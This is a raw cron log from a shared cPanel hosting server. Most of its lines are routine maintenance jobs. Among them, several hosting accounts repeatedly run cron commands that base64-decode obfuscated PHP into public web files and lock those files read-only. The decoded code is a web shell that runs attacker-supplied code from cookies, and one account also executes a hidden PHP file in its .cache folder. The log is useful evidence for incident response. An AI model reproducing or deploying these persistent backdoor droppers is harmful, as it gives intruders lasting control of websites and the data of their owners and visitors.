Jun  7 08:54:01 medusa CROND[11951]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:54:01 medusa CROND[11965]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:54:01 medusa CROND[11966]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 08:54:01 medusa CROND[11964]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:54:01 medusa CROND[11967]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:54:01 medusa CROND[11968]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:54:01 medusa CROND[11969]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:54:01 medusa CROND[11971]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:54:01 medusa CROND[11972]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:54:01 medusa CROND[11973]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 08:54:01 medusa CROND[11976]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:54:01 medusa CROND[11978]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:54:01 medusa CROND[11987]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:55:01 medusa CROND[13793]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 08:55:01 medusa CROND[13805]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 08:55:01 medusa CROND[13809]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 08:55:01 medusa CROND[13813]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:55:01 medusa CROND[13814]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:55:01 medusa CROND[13812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:55:01 medusa CROND[13818]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:55:01 medusa CROND[13815]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 08:55:01 medusa CROND[13816]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 08:55:01 medusa CROND[13823]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 08:55:01 medusa CROND[13826]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:55:01 medusa CROND[13827]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 08:55:01 medusa CROND[13830]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:55:01 medusa CROND[13832]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 08:55:01 medusa CROND[13831]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:55:01 medusa CROND[13825]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:55:01 medusa CROND[13835]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:55:01 medusa CROND[13817]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 08:55:01 medusa CROND[13838]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 08:55:01 medusa CROND[13840]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:55:01 medusa CROND[13844]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:55:01 medusa CROND[13842]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 08:56:01 medusa CROND[15601]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:56:01 medusa CROND[15648]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 08:56:01 medusa CROND[15649]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:56:01 medusa CROND[15650]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
